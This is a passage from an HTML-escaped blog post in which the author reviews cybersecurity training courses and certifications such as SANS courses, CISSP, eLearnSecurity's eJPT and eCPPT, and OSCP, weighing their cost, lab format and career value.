  &lt;li&gt;&lt;a href=&quot;#sec575-mobile-device-security-and-ethical-hacking-gmob-sans&quot;&gt;SEC575: Mobile Device Security and Ethical Hacking (GMOB), SANS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#offensive-security-certified-professional-oscp&quot;&gt;Offensive Security Certified Professional (OSCP)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sec504-hacker-tools-techniques-exploits-and-incident-handling-gcih-sans&quot;&gt;SEC504: Hacker Tools, Techniques, Exploits and Incident Handling (GCIH), SANS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sec401-security-essentials-gsec-sans&quot;&gt;SEC401: Security Essentials (GSEC), SANS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sec542-web-app-penetration-testing-and-ethical-hacking-gwapt-sans&quot;&gt;SEC542: Web App Penetration Testing and Ethical Hacking (GWAPT), SANS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#for610-reverse-engineering-malware-grem-sans&quot;&gt;FOR610: Reverse-Engineering Malware (GREM), SANS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#ics515-ics-active-defense-and-incident-response-grid-sans&quot;&gt;ICS515: ICS Active Defense and Incident Response (GRID), SANS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sec660-advanced-penetration-testing-exploit-writing-and-ethical-hacking-gxpn-sans&quot;&gt;SEC660: Advanced Penetration Testing, Exploit Writing and Ethical Hacking (GXPN), SANS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sec617-wireless-penetration-testing-and-ethical-hacking-gawn-sans&quot;&gt;SEC617: Wireless Penetration Testing and Ethical Hacking (GAWN), SANS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#aws-certified-solutions-architect-associate&quot;&gt;AWS Certified Solutions Architect Associate&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#aws-certified-security-specialty&quot;&gt;AWS Certified Security Specialty&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sec588-cloud-penetration-testing-gcpn-sans&quot;&gt;SEC588: Cloud Penetration Testing (GCPN), SANS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sec537-practical-osint-analysis-and-automation-sans&quot;&gt;SEC537: Practical OSINT Analysis and Automation, SANS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sec460-enterprise-and-cloud--threat-and-vulnerability-assessment-geva-sans&quot;&gt;SEC460: Enterprise and Cloud | Threat and Vulnerability Assessment (GEVA), SANS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sec450-blue-team-fundamentals-security-operations-and-analysis-gsoc-sans&quot;&gt;SEC450: Blue Team Fundamentals: Security Operations and Analysis (GSOC), SANS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sec487-open-source-intelligence-osint-gathering-and-analysis-gosi-sans&quot;&gt;SEC487: Open-Source Intelligence (OSINT) Gathering and Analysis (GOSI), SANS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sec522-application-security-securing-web-apps-apis-and-microservices-gweb-sans&quot;&gt;SEC522: Application Security: Securing Web Apps, APIs, and Microservices (GWEB), SANS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#mgt512-security-leadership-essentials-for-managers-gslc-sans&quot;&gt;MGT512: Security Leadership Essentials for Managers (GSLC), SANS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#windows-malware-and-memory-forensics-volatility&quot;&gt;Windows Malware and Memory Forensics, Volatility&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#the-shellcode-lab-black-hat&quot;&gt;The Shellcode Lab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sans-sec564-red-team-operations-and-threat-emulation&quot;&gt;SANS SEC564 Red Team Operations and Threat Emulation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sans-sec642-advanced-web-app-penetration-testing&quot;&gt;SANS SEC642 Advanced Web App Penetration Testing&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#specterops-adversary-tactics-red-team-operations&quot;&gt;SpecterOps Adversary Tactics: Red Team Operations&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#offensive-security-advanced-windows-exploitation&quot;&gt;Offensive Security Advanced Windows Exploitation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;tenable-certified-security-engineer-tcse-tenable&quot;&gt;Tenable Certified Security Engineer (TCSE), Tenable&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Attended: February 2016, TCSE Obtained: February 2016&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I don’t believe this training/certification is still available. Instead, &lt;a href=&quot;https://www.tenable.com/&quot;&gt;Tenable&lt;/a&gt; has established the &lt;a href=&quot;https://www.tenable.com/education/on-demand-courses&quot;&gt;Tenable University&lt;/a&gt; which is home to a number of online courses covering an assortment of topics related to &lt;a href=&quot;https://www.tenable.com/vulnerability-management&quot;&gt;Vulnerability Management&lt;/a&gt; as well as courses covering the use/engineering of their suite of tools (namely, &lt;a href=&quot;https://www.tenable.com/products/nessus/nessus-professional&quot;&gt;Nessus&lt;/a&gt;, &lt;a href=&quot;https://www.tenable.com/products/tenable-io&quot;&gt;Tenable.io&lt;/a&gt; and &lt;a href=&quot;https://www.tenable.com/products/tenable-sc&quot;&gt;Tenable.sc&lt;/a&gt;). What’s more, they even offer certifications you can quickly pick up and put on your resume, all for free! For anyone looking to break into the infosec field or get more into vulnerability management, penetration testing, or offensive security in general, I &lt;strong&gt;highly recommend getting into this alternate material&lt;/strong&gt;. I personally got my start in the &lt;em&gt;technical&lt;/em&gt; information security space via Vulnerability Management and attribute my success in large part to what I learned specializing in this area. Every organization is (or should be) doing some form ofVulnerability Management or network vulnerability scanning which means no matter where you go with these skills you will have relevant, applicable experience. I also believe that having a robust understanding of &lt;em&gt;vulnerabilities&lt;/em&gt; is useful in just about any infosec sub-discipline. Compliance pros need to understand risk, and vulnerabilities represent a large swath of an organizations technical risk-surface. Penetration testers obviously need to understand vulnerabilities as they are typically taking advantage of them as part of their daily job! “Blue-teamers” (e.g. incident responders, forensics, threat hunters, network analysts, etc…) need to understand vulnerabilities since these are generally the soft spots in a network or on a system that the “bad guys” are targeting. Understanding how vulnerabilities manifest themselves, the consequence(s) of exploitation and how to mitigate them is critical for defensive security professionals as well.&lt;/p&gt;

&lt;h3 id=&quot;core-impact-certified-professional-cicp-core-security&quot;&gt;Core Impact Certified Professional (CICP), Core Security&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Attended: April 2016, CICP Obtained: April 2016&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;For a brief period of time I got to play around with the powerful (and expensive) &lt;a href=&quot;https://www.coresecurity.com/products/core-impact&quot;&gt;Core Impact&lt;/a&gt; exploitation framework. During this time, I traveled to &lt;a href=&quot;https://www.coresecurity.com/&quot;&gt;Core Security&lt;/a&gt; HQ to take the Core Impact training course, the &lt;a href=&quot;https://training.coresecurity.com/courses/course-v1:CoreSecurity+CI200x+19_1v1/about&quot;&gt;CICP&lt;/a&gt;. Core Impact is a mature, and relatively intuitive tool. This makes user-training (in my opinion) mostly unnecessary. To be clear, this training is centered around &lt;em&gt;using&lt;/em&gt; the tool, as opposed to actual technical network penetration or exploitation methodology. Save the trip, save the money, this training is &lt;strong&gt;not something I would recommend&lt;/strong&gt;.&lt;/p&gt;

&lt;h3 id=&quot;sec560-network-penetration-testing-and-ethical-hacking-gpen-sans&quot;&gt;SEC560: Network Penetration Testing and Ethical Hacking (GPEN), SANS&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Attended: April 2016, GPEN Obtained: April 2016&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;SANS’ intro to penetration testing course is &lt;a href=&quot;https://www.sans.org/ondemand/course/network-penetration-testing-ethical-hacking&quot;&gt;SEC560&lt;/a&gt;. The course has evolved quite a bit since I took it in 2016 so I won’t speak in-depth to what is covered. For that sort of thing, just search online to &lt;a href=&quot;https://www.google.com/search?q=sans+sec560+review&quot;&gt;find more in-depth reviews&lt;/a&gt; of the course material. With this said, taking a look at the most up-to-date syllabus you’ll find that this course is chock-full of valuable penetration testing knowledge covering a wide-array of critical pentesting concepts including network reconnaissance, writing reports, scoping engagements, Nmap, Nessus, PowerShell, Metasploit, Veil, Pivoting, Empire, John, Mimikatz, Hydra, Kerberos, Responder, Bloodhound, ZAP, SQLi and more! Despite the material being quite sound in its overall coverage and depth, I believe the format is not ideal for actually learning penetration testing. I say this because penetration testing, especially as someone new to it, is likely dominated by a lot of trial and error. What this means is that you need a lot of time to try something, see if it works, learn why it didn’t and then try again. In other words, having time to fail and in some cases fail a lot, is very valuable. The pace in which SANS courses are conducted is not conducive to this method of learning. The format for labs is a series of individual exercises whereby the student has (in my opinion) their hand held throughout, each step is explained to them in precise detail, the answer is provided in short-order and you are then quickly whisked away to the next part of the lecture. SANS does give you the option during these labs to “not skip ahead” and see the answer(s) but in reality you likely won’t have time to take this figure-it-out-yourself approach. Being spoon-fed information in this manner is an &lt;em&gt;OK&lt;/em&gt; way to be introduced to a technique or tool but I feel that later, when you attempt to exercise this knowledge in a practical setting you will likely feel unprepared having not actually practiced what you had learned in any meaningful way.&lt;/p&gt;

&lt;p&gt;As for the certification, I think it has some benefit on a resume as I have seen plenty of job reqs asking for it. BUT! If you are taking this course you are probably interested in getting a job as an actual penetration tester and as such, I would argue that a lot of companies actually hiring penetration testers are looking for proof the candidate actually has some real, practical, more-robust, hands-on experience which you really just can’t get with this training in it’s current form. For these reasons, I &lt;strong&gt;wouldn’t recommend&lt;/strong&gt; this course. With this said, SANS &lt;em&gt;is&lt;/em&gt; slowly moving their certification exams to a &lt;em&gt;slightly&lt;/em&gt; more &lt;a href=&quot;https://www.giac.org/blog/hands-on-real-world-testing&quot;&gt;practical format&lt;/a&gt;. I think this will help with the way those in the field perceive these certifications, especially compared to their more “practical” brethren such as the &lt;a href=&quot;https://www.offensive-security.com/pwk-oscp/&quot;&gt;OSCP&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;certified-information-system-security-professional-cissp-isc2&quot;&gt;Certified Information System Security Professional (CISSP), ISC2&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;CISSP Obtained: March 2016&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Love it or hate it, the &lt;a href=&quot;https://www.isc2.org/Certifications/CISSP&quot;&gt;CISSP&lt;/a&gt; remains one of the industries most recognized and sought after certifications. Those who hold the cert tend to command &lt;a href=&quot;https://www.payscale.com/research/US/Certification=Certified_Information_Systems_Security_Professional_(CISSP)/Salary&quot;&gt;high salaries&lt;/a&gt; and from what I’ve seen, it seems to just make you more hirable in general. No, it’s not a practical cert and yes, taking the exam is kind of grueling but if you meet the &lt;a href=&quot;https://www.isc2.org/Certifications/CISSP/experience-requirements&quot;&gt;pre-requisite qualifications&lt;/a&gt;, I &lt;strong&gt;definitely recommend&lt;/strong&gt; going for it. I recommend picking up a CISSP study-book on Amazon (back when I took it I used whatever the latest &lt;a href=&quot;https://www.amazon.com/CISSP-All-One-Guide-Eighth/dp/1260142655&quot;&gt;Shon Harris all-in-one guide&lt;/a&gt; was available) rather than signing up for some expensive boot camp.&lt;/p&gt;

&lt;p&gt;The exam has undergone some &lt;a href=&quot;https://www.isc2.org/-/media/ISC2/Certifications/Exam-Outlines/CISSP-Exam-Outline-121417--Final.ashx&quot;&gt;drastic changes&lt;/a&gt; since I sat for it in 2016, now being only 3 hours (versus 6) and only have between 100-150 questions (which is far less than previous versions). This shortened format will definitely help those who would normally experience fatigue taking such a long exam. This being said, I will warn you that with less questions comes more weight with each question, so you must exercise a little more care with each question as any incorrect answer will count against you more. When I took the exam i found many questions to be worded poorly (as if not written by a native English speaker) and I often found scenario-based questions to be highly subjective, often looking for the “best” of several seemingly-equally-correct answers. This is one reason I recommend finding an “official” study-guide and reading through it as part of your overall studying regimen, remembering to take any available practice tests that are contained in the book. I found, by reading through these guides, that there was a certain “CISSP” way of answering questions. This way of thinking, when applied to these scenario-based questions will more-often yield the correct answer then if you were to approach it from what I would consider a non-biased point of view. For example, there might be a question that asks you something like “&lt;em&gt;As a security manager for a large banking organization, what is your highest priority?&lt;/em&gt;”. It will then list a number of possible answers, each of which seems potentially viable but one of the answers will be something about the “&lt;em&gt;physical safety of the employees&lt;/em&gt;”. Of course the CISSP training wants to drill into your head that human safety is priority number one! Even if that seems somewhat irrelevant to an exam about Cybersecurity.&lt;/p&gt;

&lt;p&gt;Given the high demand for CISSP-certified professionals, especially in certain job markets, it’s no surprise there are a lot of people, especially those more junior in the field, asking about and looking to take this exam. ISC2 &lt;a href=&quot;https://www.isc2.org/Certifications/CISSP/experience-requirements&quot;&gt;requires&lt;/a&gt; those who sit for the exam to have a minimum of 5 years of (relevant) experience (or optionally 4 years plus a relevant degree) and I think this makes sense. It certainly made my test-taking experience much smoother having this experience to lean on than if i had tried to power-study for it early in my career, having not truly understood and practiced the concepts in a real-world setting. Adding to this, I think I greatly benefited in having an extended background in the “softer” side of security (policy &amp;amp; compliance) early in my career coupled with a recent history in the more technical aspects of infosec. As a certification that attempts to cover basically “all of security”, it shouldn’t come as a surprise that having a well-rounded experience would lend itself to being more successful with the exam. To wrap this up, let me just summarize again by saying that I think &lt;em&gt;experience&lt;/em&gt;, more so than just remembering facts is particularly useful with this certification (I say this relative to other certification exams where I do think you can be successful just cramming facts into your head) given the nature of the scenario-based questions that are asked.&lt;/p&gt;

&lt;h3 id=&quot;penetration-testing-student-ejpt-elearnsecurity&quot;&gt;Penetration Testing Student (eJPT), eLearnSecurity&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;eJPT Obtained: December 2016&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://www.elearnsecurity.com/course/penetration_testing_student/&quot;&gt;PTS&lt;/a&gt; from &lt;a href=&quot;https://www.elearnsecurity.com/&quot;&gt;eLearnSecurity&lt;/a&gt; is a relatively limited in scope, yet high-value course. With hours of video lectures, practical VPN-based labs and a self-paced style, I found it a really good format for learning this sort of technical material. What’s even better is this course can often be taken for &lt;strong&gt;FREE&lt;/strong&gt;, as eLearnSecurity has frequently given out vouchers for the course as part of different promotions or for something as simple as attending a free webinar (note that the exam attempt is not typically included with this free voucher). Where you can pick up a free voucher, I &lt;strong&gt;definitely recommend&lt;/strong&gt; going through the material, especially as a beginner. Otherwise, this course clocks in at about $400 and in this case I just &lt;strong&gt;don’t really recommend&lt;/strong&gt; it. Again, I think the material is great, but I think your money is better spent on a more comprehensive course like &lt;a href=&quot;#penetration-testing-professional-ecppt-elearnsecurity&quot;&gt;eLearnSecurity’s PTP&lt;/a&gt; course or the &lt;a href=&quot;#offensive-security-certified-professional-oscp&quot;&gt;OSCP&lt;/a&gt;. In the end, having “Penetration Testing Student” training or a certification titled “Junior Penetration Tester” from the lesser known eLearnSecurity on your resume is not likely to turn a lot of hiring manager/recruiter heads. You’ll also get a far better curriculum by just spending your money on the more serious courses.&lt;/p&gt;

&lt;h3 id=&quot;penetration-testing-professional-ecppt-elearnsecurity&quot;&gt;Penetration Testing Professional (eCPPT), eLearnSecurity&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;eCPPT Obtained: February 2017&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://www.elearnsecurity.com/course/penetration_testing/&quot;&gt;PTP&lt;/a&gt; is a fantastic offering from the not-so-well-known online training provider &lt;a href=&quot;https://www.elearnsecurity.com/&quot;&gt;eLearnSecurity&lt;/a&gt;. This course can be thought of as eLearn’s direct competitor to the much more well-known &lt;a href=&quot;https://www.offensive-security.com/pwk-oscp/&quot;&gt;OSCP&lt;/a&gt; certification from &lt;a href=&quot;https://www.offensive-security.com/&quot;&gt;Offensive Security&lt;/a&gt;. The PTP course covers a lot of technical ground including assemblers/debuggers, shellcoding, network pentesting, PowerShell, Linux exploitation, web apps, WiFi hacking and even has an in-depth ruby for pentesters module. The course material certainly shines in certain spots relative to the OSCP - modules on PowerShell, WiFI security and Ruby are not be found in the PWK curriculum (last I checked). The decision to take the PTP course is likely not made without asking, why should I take this over the PWK/OSCP? I’ll attempt to make the case for both of these courses, providing my thoughts on each, below.&lt;/p&gt;

&lt;p&gt;One of the biggest differences between the PTP and the OSCP in my opinion is the expectations of the student. OSCP is (in)famous for forcing its &lt;a href=&quot;https://m.youtube.com/watch?v=qphH73iIaw8&quot;&gt;“Try Harder”&lt;/a&gt; mentality whereas the PTP takes a different approach. With the PTP, and similarly with other courses offered by eLearn, students are provided focused labs where the student can practice specific skills and techniques, taking a lot of the guesswork and trial-n-error out of the equation. I do think that this approach is a little “hand-holdy” which I believe &lt;em&gt;can&lt;/em&gt; be detrimental to full absorption of the concepts. I found that I &lt;em&gt;failed&lt;/em&gt; less in achieving the desired outcome within these labs and as a result learned less about the ways things &lt;em&gt;didn’t work&lt;/em&gt;. Though ultimately far more frustrating, there is a method-to-the-madness with the OSCP approach. Where you are forced to figure it out yourself, I believe you really will learn the material in a much more robust way. You’ll also, as a consequence of having to “try harder”, frequently end up down rabbit holes where you learn all sorts of stuff that doesn’t end up being applicable to your ultimate solution, but its gained knowledge all the same. All this said, I think the eLearn approach might be better suited to &lt;em&gt;my&lt;/em&gt; personal learning style. The PTP lab environment, which is essentially a series of individual exercises, each with specific lab systems for that exercise, is a less &lt;em&gt;realistic&lt;/em&gt; method of practicing penetration testing techniques as compared to the PWK/OSCP. The PWK/OSCP sports a large, open, multi-layered, “wild-west”-style lab network, comprised of many different interconnected systems. Having a large heterogenous network such as this is more realistic in terms of simulating an actual network. Where I think the PTP gains back ground on the OSCP is that the exercises/content/exam is (in my opinion) far more &lt;em&gt;modern&lt;/em&gt;. Specifically, you do a lot of hackery in a Windows Active Directory environment with the PTP which I found lacking in the OSCP. Finally, I think the PTP exam unlike the OSCP exam, is a better representation of a realistic (albeit mini-) network in which you need to compromise. This is a little funny considering the OSCP had the far more realistic lab setting but when it comes to the exam they seem to regress. The OSCP is essentially just a series of 5 CTF boxes whereas the PTP requires breaching a machine in a “DMZ”, then pivoting into other internal networks and performing subsequent exploitation.&lt;/p&gt;

&lt;p&gt;So here’s where I stand on PTP vs OSCP: It’s difficult to recommend one over the other as they both have certain strengths and weaknesses.  I &lt;strong&gt;recommend&lt;/strong&gt; the PTP for its sheer breadth of awesome material, which is brought more directly to you rather than having to find it yourself. I also think the PTP exam better exercises your ability to do real penetration testing given you actually have to do pivoting (among other things not experienced during the OSCP exam). Another example of how I think the PTP exam excels over the OSCP is the duration and reporting aspect of these exams. It’s not terribly realistic that you would be asked to do a penetration test in 24 hours followed by delivering a full report after an additional 24 hours (which is what is asked of you in the OSCP). In my experience, you will have more time to perform the engagement and provide the deliverables. As such, the PTP exam is a week long, with an additional week to provide the report. I do think the PTP is a great complement to the OSCP though, rather than a “choose one or the other”. However if you can only choose one, I would still ultimately give the edge to the OSCP. The huge lab environment is both challenging and exhilarating - an amazing playground for an offensive student. Though I think the material is a bit outdated, I think the most important thing taught by the OSCP is the mentality and methodology. You learn, &lt;em&gt;by trying harder&lt;/em&gt; (and &lt;strong&gt;enumerating a lot&lt;/strong&gt;), a more realistic way to breach systems and networks. The experience of failure and the determination you must bring to the OSCP fight can’t be understated and it is absolutely a skill you’ll need for real-life penetration testing. Also, and this is probably the most important point, the OSCP is (currently) the far more recognized and sought after certification by hiring managers and recruiters. That alone is reason enough to choose the OSCP over the PTP.&lt;/p&gt;

&lt;h3 id=&quot;sec503-intrusion-detection-in-depth-gcia-sans&quot;&gt;SEC503: Intrusion Detection In-Depth (GCIA), SANS&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Attended: March 2017, GCIA Obtained: July 2017&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Generally speaking, I probably wouldn’t recommend most 500-level &lt;a href=&quot;https://www.sans.org/&quot;&gt;SANS&lt;/a&gt; courses. &lt;a href=&quot;#thoughts-on-sans-training-and-giac-certification-exams&quot;&gt;They’re expensive&lt;/a&gt; and I personally believe you can find most if not all of what is covered in the course searching online. With that said, I think &lt;a href=&quot;https://www.sans.org/cyber-security-courses/intrusion-detection-in-depth/&quot;&gt;SEC503&lt;/a&gt; could be the exception to that rule. Yes, I still think you can find a good bit of this material online, but I think in this case it would be far more difficult to self-administer it. This course, an undeniably “blue” / defensive security course, which preps you for the &lt;a href=&quot;https://www.giac.org/certification/certified-intrusion-analyst-gcia&quot;&gt;GCIA&lt;/a&gt; exam is by far my favorite SANS course that I have taken - and this is coming from someone who is an offensive security specialist by trade! I credit my infatuation with the course to the following three points.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;At the time I took this training, TCP/IP and general networking concepts were weaker knowledge areas for me, so I really just learned SO MUCH during this course. Much of my early technical focus was on web applications or using certain tools for network penetration testing. I glossed over in those early times, the importance of understanding what is happening at &lt;a href=&quot;https://en.wikipedia.org/wiki/OSI_model&quot;&gt;layers&lt;/a&gt; 2-4. This course cleared that up for me &lt;em&gt;and then some&lt;/em&gt;. This course has two distinct sections (spread out over the course of 5 days of lecture) - traffic analysis and then tooling. As someone more on the “offensive” side, my need to (or desire to) understand a lot of the defensive tooling was certainly minimized back then. Where I found the extreme value, was days one and two where you go deep (and I mean &lt;em&gt;DEEP&lt;/em&gt;!) into traffic analysis, packet dissection, understanding of protocols, etc… It is an undeniably dense and information-packed two days but I think one of the best two days of learning I have ever experienced. As for the final 3 days, though I didn’t appreciate it as much then, I now have a much greater appreciation for what was covered. This is a great example of how I discounted certain things early in my career because I didn’t think it was relevant to where I wanted to go professionally. Years later I can see that even as an “offensive specialist” understanding exactly how defender tools (e.g. Snort, Bro/Zeek, SIEMs, SiLK, NetFlow, etc…) work is extremely important. Whether this be because you are trying to bypass these tools or you are looking to set them up in a home/test lab so you can practice &lt;em&gt;against&lt;/em&gt; them - it’s good to know how they work. What’s more, I have found that slotting in, in a perfect, exclusively “offensive” role, where all I do is pentest or red team is easier said than done. More likely, at least in my experience, is you’ll need to have experience (especially in an engineering capacity) with tools across the security space, from red to blue.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The material for this training is fantastic and I think a little more challenging to find for yourself online then perhaps other courses. Sure you could buy yourself a book on TCP/IP, this of course would be a perfectly acceptable approach to learning some of this material! But, I think the the course content has been perfectly cropped here for both offensive and defensive security professionals alike to get a firm understanding of how to interpret network traffic and leverage a number of well-known industry tools.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;My instructor for the course was &lt;a href=&quot;https://www.sans.org/profiles/jonathan-ham/&quot;&gt;Jonathan Ham&lt;/a&gt;. He did such an outstanding job making something as seemingly dry as in-depth packet analysis so interesting.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I still think spending $7000+ is not worth it for any individual paying out-of-pocket but if you do get a chance to take a SANS cert through work, desperately want to pay for a SANS cert yourself or maybe you get accepted to a SANS &lt;a href=&quot;https://www.sans.org/work-study/&quot;&gt;workstudy&lt;/a&gt;, I would &lt;strong&gt;highly recommend&lt;/strong&gt; taking a look at this one.&lt;/p&gt;

&lt;h3 id=&quot;sec573-automating-information-security-with-python-gpyc-sans&quot;&gt;SEC573: Automating Information Security with Python (GPYC), SANS&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Attended: May 2017, GPYC Obtained: August 2017&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do not spend money on &lt;a href=&quot;https://www.sans.org/cyber-security-courses/automating-information-security-with-python/&quot;&gt;this course&lt;/a&gt;&lt;/strong&gt;. Don’t even let your company spend money on this course. This course isn’t meant to be an “introduction to python”, yet they spend two straight days painstakingly explaining the basics. For anyone who has even mild experience with Python, this is excruciating. After the first two days, the material definitely gets more interesting, but nothing is covered in these final modules that isn’t equally covered in any number of very cheap books. The book &lt;a href=&quot;https://www.amazon.com/Violent-Python-Cookbook-Penetration-Engineers/dp/1597499579&quot;&gt;Violent Python&lt;/a&gt; is actually handed out in the class (as part of your $7k+ tuition) and has plenty of what is covered in those final three days of lecture. Do yourself a favor and just Google “learn python” and follow a few of the online tutorials. This should satisfy the basics requirement (what is covered in days 1 and 2). From there, buy a “python hacking” book or two (e.g. The Violent Python book, &lt;a href=&quot;https://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900&quot;&gt;Black Hat Python&lt;/a&gt;, &lt;a href=&quot;https://www.amazon.com/Gray-Hat-Python-Programming-Engineers/dp/1593271921&quot;&gt;Gray Hat Python&lt;/a&gt;, etc…) to learn how to use cool security-related modules (e.g. requests, scapy, struct, sockets, etc…). Here is an &lt;a href=&quot;https://realpython.com/best-python-books/&quot;&gt;assortment of other books&lt;/a&gt; that you can use to teach yourself Python. Just please, don’t spend money on this course.&lt;/p&gt;

&lt;h3 id=&quot;sec575-mobile-device-security-and-ethical-hacking-gmob-sans&quot;&gt;SEC575: Mobile Device Security and Ethical Hacking (GMOB), SANS&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Attended: October 2017, GMOB Obtained: December 2017&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;don’t recommend&lt;/strong&gt; recommend taking this course. The material is interesting enough but it suffers from the pace in which the mobile world moves. Given the speed in which features are added to the iOS and Android platforms it is difficult to maintain a cutting-edge mobile device hacking course - and it shows. What’s more, its difficult to really demonstrate iOS security concepts given how locked down the platform is and how uncertain it is whether there will be an active &lt;a href=&quot;https://en.wikipedia.org/wiki/IOS_jailbreaking&quot;&gt;Jailbreak&lt;/a&gt; (which can be used to install iOS-related security tools and demonstrate other security things). For this reason, this course centers mostly around the Android platform. To this course’s credit though, I did find it pretty cool how much more approachable mobile device hacking/security was than I had imagined. I think this course is one of SANS’ more neglected offerings in terms of how frequently it is updated and that’s too bad considering how mobile devices have become more a part of everyone’s daily computing lives.&lt;/p&gt;

&lt;h3 id=&quot;offensive-security-certified-professional-oscp&quot;&gt;Offensive Security Certified Professional (OSCP)&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;OSCP Obtained: July 2018&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I provide some details on the &lt;a href=&quot;https://www.google.com/search?q=oscp&amp;amp;ie=UTF-8&amp;amp;oe=UTF-8&amp;amp;hl=en-us&amp;amp;client=safari&quot;&gt;OSCP&lt;/a&gt; in my &lt;a href=&quot;#penetration-testing-professional-ecppt-elearnsecurity&quot;&gt;review of eLearnSecurity’s PTP course&lt;/a&gt;, but I will expand on the (PWK) course more here. First, let me say that I &lt;strong&gt;highly recommend&lt;/strong&gt; this course for all security professionals. I think this is an obvious choice for those looking to get into penetration testing and I would even recommend those in “defensive” security positions take a look at this course. After all, what better way to understand how to defend then understanding how your systems may be attacked!&lt;/p&gt;

&lt;p&gt;Ok, so you don’t really need me to tell you that the OSCP is a great certification and the PWK is an excellent course, nor do you really need yet another full OSCP review. After all, there are &lt;a href=&quot;https://www.google.com/search?q=oscp+review&amp;amp;ie=UTF-8&amp;amp;oe=UTF-8&amp;amp;hl=en-us&amp;amp;client=safari&quot;&gt;TONS of reviews&lt;/a&gt; already out there. Instead, let me list a few thoughts and pieces of advice I have related to the OSCP.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The exam (mostly) forbids the use of exploit frameworks such as &lt;a href=&quot;https://www.metasploit.com/&quot;&gt;Metasploit&lt;/a&gt; or vulnerability scanners such as &lt;a href=&quot;https://www.tenable.com/products/nessus/nessus-professional&quot;&gt;Nessus&lt;/a&gt;. Many OSCP students take this as a cue to try and get through the entire lab without the use of these sorts of tools. I don’t recommend this. Not because Metasploit or Nessus or similar tools are so useful that they will give you a serious leg up but rather these tools are good to know how to use in general! Why not take the time to learn how to use them? The lab is a fantastic place to try your hand with all sorts of tools and techniques so you should really take full advantage. To compensate however, where you did leverage a tool like Metasploit or Nessus, figure out how you would have exploited a system, or enumerated a system in the absence of these tools. In this way, you’ll still feel fully comfortable come exam time. Don’t NOT use them just because the &lt;em&gt;exam&lt;/em&gt; dictates you can’t.&lt;/li&gt;
  &lt;li&gt;As a clarification, the OSCP (at least when I took it) allowed the use of &lt;em&gt;ONE&lt;/em&gt; metasploit module (so fire wisely). It also allows you to use the Metasploit session management features (i.e. &lt;a href=&quot;https://www.rapid7.com/db/modules/exploit/multi/handler&quot;&gt;multi-handler&lt;/a&gt;), with no limits.&lt;/li&gt;
  &lt;li&gt;The PWK lab has a LOT of vulnerable systems, it’s important that you manage and maintain records of what you’ve found on each of these systems including open ports, credentials and other important artifacts. There are any number of tools/methodologies that can assist in this endeavor but I recommend you take a look at the &lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/using-databases/&quot;&gt;MSFDB&lt;/a&gt; functionality offered natively by Metasploit. This can help you keep track of things.&lt;/li&gt;
  &lt;li&gt;Take screenshots! Lots of screenshots! You’ll need this for the lab report, you’ll need it for the exam report, you’ll need it for future professional penetration test reports. Screenshots are good, get used to taking them.&lt;/li&gt;
